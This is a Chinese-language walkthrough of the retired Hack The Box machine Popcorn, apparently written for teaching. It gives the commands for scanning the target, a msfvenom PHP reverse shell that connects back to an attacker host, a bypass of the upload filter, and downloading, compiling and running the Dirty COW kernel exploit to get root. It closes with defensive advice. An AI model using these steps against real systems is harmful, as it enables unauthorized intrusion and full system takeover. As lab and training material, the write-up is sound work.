HTB: Popcorn渗透测试
字数 1077 2025-08-15 21:34:06
HTB: Popcorn渗透测试教学文档
1. 靶机概述
- 平台: Hack The Box (HTB) - 一个在线渗透测试平台
- 靶机名称: Popcorn (已退役)
- 难度等级: 基础
- IP地址: 10.129.106.162 (原地址已变更)
- 操作系统: Ubuntu Linux
- 主要服务:
- SSH (OpenSSH 5.1p1)
- HTTP (Apache 2.2.12)
2. 信息收集阶段
2.1 端口扫描
使用nmap进行扫描:
nmap -sV -A -O 10.129.106.162
扫描结果:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.1p1 Debian 6ubuntu2 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.2.12 ((Ubuntu))
2.2 网站目录扫描
使用dirb工具扫描网站目录:
dirb http://10.129.106.162
发现重要目录:
- http://10.129.106.162/test
- http://10.129.106.162/torrent/
3. 漏洞探测与利用
3.1 文件上传功能分析
- 访问
/torrent/目录,发现一个登录页面 - 注册新账号并登录
- 发现文件上传功能,但要求上传.torrent文件
3.2 制作PHP反向shell
使用msfvenom生成PHP反向shell:
msfvenom -p php/meterpreter_reverse_tcp LHOST=<攻击机IP> LPORT=4444 -f raw > shell.php
3.3 绕过文件上传限制
- 先上传合法的.torrent文件
- 使用Burp Suite拦截上传请求
- 修改上传内容为PHP反向shell
- 绕过文件类型检查成功上传
3.4 建立反向连接
- 在Metasploit中设置监听:
msf6 > use multi/handler
msf6 exploit(multi/handler) > set payload php/meterpreter_reverse_tcp
msf6 exploit(multi/handler) > set LHOST <攻击机IP>
msf6 exploit(multi/handler) > exploit
- 访问上传的PHP文件触发反向shell
4. 权限提升
4.1 获取交互式shell
在meterpreter会话中:
python -c "import pty;pty.spawn('/bin/bash')"
4.2 查找用户flag
find / -name user.txt 2>/dev/null
cat /home/<用户名>/user.txt
4.3 脏牛(Dirty COW)提权
- 检查内核版本:
uname -a
-
确认系统存在脏牛漏洞(CVE-2016-5195)
-
下载并编译脏牛漏洞利用代码:
wget https://www.exploit-db.com/download/40839 -O dirty.c
gcc -pthread dirty.c -o dirty -lcrypt
- 执行漏洞利用程序:
./dirty
- 设置新密码后,切换到root用户:
su firefart
4.4 获取root flag
cat /root/root.txt
5. 关键知识点总结
- 目录扫描: 使用dirb等工具发现隐藏目录是渗透测试的重要步骤
- 文件上传绕过: 通过修改请求头或拦截请求可以绕过前端文件类型检查
- 反向shell: 使用msfvenom生成payload是获取系统访问的常用方法
- 脏牛提权: Linux内核中的竞争条件漏洞,允许本地用户获取root权限
- 内核版本检查: 通过
uname -a查看内核版本,匹配已知漏洞
6. 防御建议
- 及时更新系统和内核补丁
- 对文件上传功能实施严格的后端验证
- 限制Web应用程序的权限
- 监控系统日志和异常行为
- 使用最小权限原则运行服务